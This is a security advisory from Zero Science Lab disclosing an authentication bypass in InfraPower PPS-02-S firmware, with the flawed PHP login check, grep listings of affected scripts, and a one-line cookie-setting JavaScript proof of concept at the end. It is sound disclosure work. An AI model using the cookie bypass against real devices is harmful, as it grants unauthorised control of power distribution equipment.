InfraPower PPS-02-S Q213V1 – Authentication Bypass
InfraPower PPS-02-S Q213V1 Authentication Bypass Vulnerability Vendor: Austin Hughes Electronics Ltd. Product web page: http://www.austin-hughes.com Affected version: Q213V1 (Firmware: V2395S) Fixed version: Q216V3 (Firmware: IPD-02-FW-v03) Summary: InfraPower Manager PPS-02-S is a FREE built-in GUI of each IP dongle ( IPD-02-S only ) to remotely monitor the connected PDUs. Patented IP Dongle provides IP remote access to the PDUs by a true network IP address chain. Only 1xIP dongle allows access to max. 16 PDUs in daisy chain - which is a highly efficient cient application for saving not only the IP remote accessories cost, but also the true IP addresses required on the PDU management. Desc: The device does not properly perform authentication, allowing it to be bypassed through cookie manipulation. The vulnerable function checkLogin() in 'Function.php' checks only if the 'Login' Cookie is empty or not, allowing easy bypass of the user security mechanisms. Tested on: Linux 2.6.28 (armv5tel) lighttpd/1.4.30-devel-1321 PHP/5.3.9 SQLite/3.7.10 Vulnerabiliy discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5374 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5374.php 27.09.2016 -- (example) System.php: --------------------- 1: <?php 2: 3: require_once("Function.php"); 4: session_start(); 5: if(!checkLogin()) 6: header('Location: Login.php'); 7: --------------------------------------- Function.php: ------------- 155: function checkLogin(){ 156: if(empty($_SESSION['Login'])) 157: return false; 158: return true; 159: } 160: -------------------- 'Sessioned' scripts: ➜ www grep -rHn 'session_start' /Users/liwomac/Desktop/infrapower_files/www /Users/liwomac/Desktop/infrapower_files/www/Firmware.php:3: session_start(); /Users/liwomac/Desktop/infrapower_files/www/FWUpgrade.php:3: session_start(); /Users/liwomac/Desktop/infrapower_files/www/Login.php:2: session_start(); /Users/liwomac/Desktop/infrapower_files/www/Logout.php:2: session_start(); /Users/liwomac/Desktop/infrapower_files/www/OutletDetails.php:3: session_start(); /Users/liwomac/Desktop/infrapower_files/www/OutletDetails_Ajax.php:3: session_start(); /Users/liwomac/Desktop/infrapower_files/www/PDUDetails.php:3: session_start(); /Users/liwomac/Desktop/infrapower_files/www/PDUStatus.php:9: session_start(); /Users/liwomac/Desktop/infrapower_files/www/PDUStatus_Ajax.php:3: session_start(); /Users/liwomac/Desktop/infrapower_files/www/SensorDetails.php:3: session_start(); /Users/liwomac/Desktop/infrapower_files/www/SensorStatus.php:3: session_start(); /Users/liwomac/Desktop/infrapower_files/www/SNMP.php:3: session_start(); /Users/liwomac/Desktop/infrapower_files/www/System.php:4: session_start(); /Users/liwomac/Desktop/infrapower_files/www/User.php:3: session_start(); ➜ www grep -rHn 'session_destroy' /Users/liwomac/Desktop/infrapower_files/www /Users/liwomac/Desktop/infrapower_files/www/Function.php:256: session_destroy(); /Users/liwomac/Desktop/infrapower_files/www/Function.php:266: session_destroy(); /Users/liwomac/Desktop/infrapower_files/www/Logout.php:7: session_destroy(); /Users/liwomac/Desktop/infrapower_files/www/System.php:53: session_destroy(); /Users/liwomac/Desktop/infrapower_files/www/System.php:63: session_destroy(); ➜ www grep -rHn '$_SESSION' /Users/liwomac/Desktop/infrapower_files/www /Users/liwomac/Desktop/infrapower_files/www/Function.php:11: if(isset($_SESSION['ite'])){ /Users/liwomac/Desktop/infrapower_files/www/Function.php:12: $this->init($_SESSION['ite']); /Users/liwomac/Desktop/infrapower_files/www/Function.php:156: if(empty($_SESSION['Login'])) /Users/liwomac/Desktop/infrapower_files/www/Function.php:233: if(!isset($_SESSION['TimeSync'])){ /Users/liwomac/Desktop/infrapower_files/www/Function.php:234: $_SESSION['TimeSync'] = getConf("/mnt/mtd/main_conf", "TimeSyncPDU_opt"); /Users/liwomac/Desktop/infrapower_files/www/Function.php:235: if($_SESSION['TimeSync'] == "ON"){ /Users/liwomac/Desktop/infrapower_files/www/Function.php:237: $_SESSION['SyncDate'] = explode(":",$SyncDate); /Users/liwomac/Desktop/infrapower_files/www/Function.php:239: $_SESSION['TimeSync'] = "OFF"; /Users/liwomac/Desktop/infrapower_files/www/Function.php:240: $_SESSION['SyncDate'][0] = "0"; /Users/liwomac/Desktop/infrapower_files/www/Function.php:241: $_SESSION['SyncDate'][1] = "0"; /Users/liwomac/Desktop/infrapower_files/www/Function.php:255: unset($_SESSION['Login']); /Users/liwomac/Desktop/infrapower_files/www/Function.php:265: unset($_SESSION['Login']); /Users/liwomac/Desktop/infrapower_files/www/Login.php:31: $_SESSION['ite'] = substr($this->InfraType,1,1); // e.g."t3v3" get the second chr 3; /Users/liwomac/Desktop/infrapower_files/www/Login.php:64: $_SESSION['ite'] = "1"; /Users/liwomac/Desktop/infrapower_files/www/Login.php:67: $_SESSION['ite'] = "2"; /Users/liwomac/Desktop/infrapower_files/www/Login.php:70: $_SESSION['ite'] = "3"; /Users/liwomac/Desktop/infrapower_files/www/Login.php:73: $_SESSION['ite'] = "3"; /Users/liwomac/Desktop/infrapower_files/www/Login.php:76: $_SESSION['ite'] = "3"; /Users/liwomac/Desktop/infrapower_files/www/Login.php:79: $_SESSION['ite'] = "4"; /Users/liwomac/Desktop/infrapower_files/www/Login.php:82: $_SESSION['ite'] = FALSE; /Users/liwomac/Desktop/infrapower_files/www/Login.php:91:$_SESSION['ite'] = $InfraType; /Users/liwomac/Desktop/infrapower_files/www/Login.php:137: $_SESSION['Login'] = $_POST['ID_User']; /Users/liwomac/Desktop/infrapower_files/www/Login.php:140: $_SESSION['Login'] = $_POST['ID_User']; /Users/liwomac/Desktop/infrapower_files/www/Login.php:156: if (isset($_SESSION['ite']) && $_SESSION['ite']=="3") { /Users/liwomac/Desktop/infrapower_files/www/Login.php:167: if (isset($_SESSION['ite']) && $_SESSION['ite']=="3") { /Users/liwomac/Desktop/infrapower_files/www/Logout.php:3: $_SESSION['Login']; /Users/liwomac/Desktop/infrapower_files/www/Logout.php:4: if (isset($_SESSION['Login'])){ /Users/liwomac/Desktop/infrapower_files/www/Logout.php:5: unset($_SESSION['Login']); /Users/liwomac/Desktop/infrapower_files/www/Menu.php:60: /*if ($_SESSION["SS_SystemCreated"] == "1") { /Users/liwomac/Desktop/infrapower_files/www/System.php:52: unset($_SESSION['Login']); /Users/liwomac/Desktop/infrapower_files/www/System.php:62: unset($_SESSION['Login']); ➜ www grep -rHn 'checkLogin' /Users/liwomac/Desktop/infrapower_files/www /Users/liwomac/Desktop/infrapower_files/www/Firmware.php:4: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/Function.php:155: function checkLogin(){ /Users/liwomac/Desktop/infrapower_files/www/FWUpgrade.php:4: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/Login.php:165: if(checkLogin()) { /Users/liwomac/Desktop/infrapower_files/www/OutletDetails.php:4: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/OutletDetails_Ajax.php:4: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/PDUDetails.php:4: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/PDUStatus.php:10: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/PDUStatus_Ajax.php:4: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/SensorDetails.php:4: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/SensorStatus.php:4: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/SNMP.php:4: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/System.php:5: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/User.php:4: if(!checkLogin()) PoC: javascript:document.cookie="Login=StrangerThings;expires=Sat, 09 Dec 2017 11:05:17 GMT" -- |